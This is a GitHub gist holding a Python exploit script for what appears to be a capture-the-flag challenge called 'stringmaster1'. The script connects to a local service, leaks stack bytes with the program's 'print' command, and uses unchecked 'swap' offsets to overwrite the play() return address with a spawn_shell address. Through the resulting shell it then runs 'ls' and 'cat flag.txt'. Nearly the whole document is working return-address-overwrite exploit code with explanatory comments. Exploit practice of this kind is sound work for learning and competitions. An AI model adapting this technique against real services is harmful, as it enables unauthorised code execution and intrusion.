Skip to content

Instantly share code, notes, and snippets.

@dbeef
Created January 27, 2019 15:24
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dbeef/1fc94be910ec63edcabde57ac8a889b3 to your computer and use it in GitHub Desktop.
Save dbeef/1fc94be910ec63edcabde57ac8a889b3 to your computer and use it in GitHub Desktop.
import socket
HOST = '127.0.0.1'
PORT = 22224
# Indexes of bytes that will be swapped to represent spawn_shell address.
# They may be in the memory proceeding string's local data pointer,
# or they may not - depends on luck. If not, retry.
index_0x40 = -1
index_0x11 = -1
index_0xa7 = -1
# Memory addresses on which swapping with indexes above will be called,
# to overwrite return pointer from play() function.
# We're placing those bytes in reversed order.
# Base offset represents offset from local data pointer in multiples of 8 bytes.
base_offset = 17
offset_0xa7 = (base_offset * 8)
offset_0x11 = (base_offset * 8) + 1
offset_0x40 = (base_offset * 8) + 2
# Last retrieved input from stringmaster1 program, as an array of byte arrays.
# ex. [b'\x00\x00\x00\x00, b'\x11\x11\x23\x32\x53] ... etc]
# It's randomly split into chunks, but from experience I can tell that the
# first chunk after 'print' will always be the data proceeding local data pointer.
byte_arr_input = []
# Last retrieved input from stringmaster1 program, as a single UTF-8 string.
# Characters that are not recognized as a UTF-8 character will be replaced by
# U+FFFD replacement character.
string_input = ''
# Set to true, when expecting shell output to be printed.
shell_expected = False
def send_replace(s):
command = 'replace X a\n'
print(command)
s.sendall(command.encode('ASCII'))
def send_print(s):
command = 'print\n'
print(command)
s.sendall(command.encode('ASCII'))
def send_swap_0x40(s):
global index_0x11
global index_0xa7
global index_0x40
print('*** Full Data ***')
print(str(byte_arr_input))
print('*** Analyzed data ***')
# Only the first chunk of retrieved data is going to by analyzed, since it contains data we requested, without
# the command prompt text ('Enter the command you want to execute:' ... etc)
analyzed_bytes = byte_arr_input[0]
print(str(analyzed_bytes))
print_hex_formatted(analyzed_bytes)
print('*** End of data ***')
index_0x40 = search_for_index(0x40, analyzed_bytes)
index_0x11 = search_for_index(0x11, analyzed_bytes)
index_0xa7 = search_for_index(0xa7, analyzed_bytes)
print('0x40: ' + str(index_0x40))
print('0x11: ' + str(index_0x11))
print('0xa7: ' + str(index_0xa7))
if index_0x40 == -1 or index_0x11 == -1 or index_0xa7 == -1:
print('Indexes not found.')
exit(0)
else:
print('Indexes found:')
command = 'swap ' + str(offset_0x40) + ' ' + str(index_0x40) + '\n'
print(command)
s.sendall(command.encode('ASCII'))
def send_quit(s):
# Printing bytes again for debug purposes, to make sure
# bytes we wanted to change were swapped.
print('*** Full Data ***')
print(str(byte_arr_input))
print('*** Analyzed data ***')
analyzed_bytes = byte_arr_input[0]
print(str(analyzed_bytes))
print_hex_formatted(analyzed_bytes)
print('*** End of data ***')
command = 'quit\n'
print(command)
s.sendall(command.encode('ASCII'))
def send_swap_0x11(s):
global index_0x11
command = 'swap ' + str(offset_0x11) + ' ' + str(index_0x11) + '\n'
print(command)
s.sendall(command.encode('ASCII'))
def send_ls(s):
global shell_expected
command = 'ls\n'
print(command)
s.sendall(command.encode('ASCII'))
shell_expected = True
def send_cat_flag(s):
global shell_expected
command = 'cat flag.txt\n'
print(command)
s.sendall(command.encode('ASCII'))
def send_swap_0xa7(s):
global index_0xa7
command = 'swap ' + str(offset_0xa7) + ' ' + str(index_0xa7) + '\n'
print(command)
s.sendall(command.encode('ASCII'))
def exec_next_function(client):
global current_command
global commands
if current_command < len(commands):
commands[current_command](client)
current_command += 1
return True
else:
return False
def wait_for_input(client):
global byte_arr_input
global string_input
byte_arr_input.clear()
# If shell command output is expected, just read any portion of data that is ready,
# don't look for any line-ending phrases.
if shell_expected:
print('> Shell expected.')
bytes = client.recv(1024)
byte_arr_input.append(bytes)
string_input += bytes.decode('UTF-8', 'replace')
else:
while ((string_input.find('\n>') == -1) or (string_input.find('[4] quit') == -1)) and \
(string_input.find('You lost.') == -1):
bytes = client.recv(1024)
byte_arr_input.append(bytes)
string_input += bytes.decode('UTF-8', 'replace')
print(string_input)
string_input = ''
def print_hex_formatted(arr):
offset = len(arr)
line = 1
while offset > 0:
string = 'line: ' + str(line).zfill(3) + ': '
if offset >= 8:
for a in range(0, 8):
string += '0x' + hex(arr[a + (line - 1) * 8]).replace('0x', '').ljust(2, '0') + ' '
else:
for a in range(0, offset):
string += '0x' + hex(arr[a + (line - 1) * 8]).replace('0x', '').ljust(2, '0') + ' '
print(string)
offset -= 8
line += 1
def search_for_index(char, arr):
for a in range(0, len(arr)):
if arr[a] == char:
return a
return -1
current_command = 0
commands = [
send_replace,
send_print,
send_swap_0x40,
send_swap_0x11,
send_swap_0xa7,
send_print,
send_quit,
send_ls,
send_cat_flag
]
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client:
client.connect((HOST, PORT))
more_functions = True
while True:
wait_for_input(client)
if not more_functions:
break
else:
more_functions = exec_next_function(client)
print('Exiting...')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment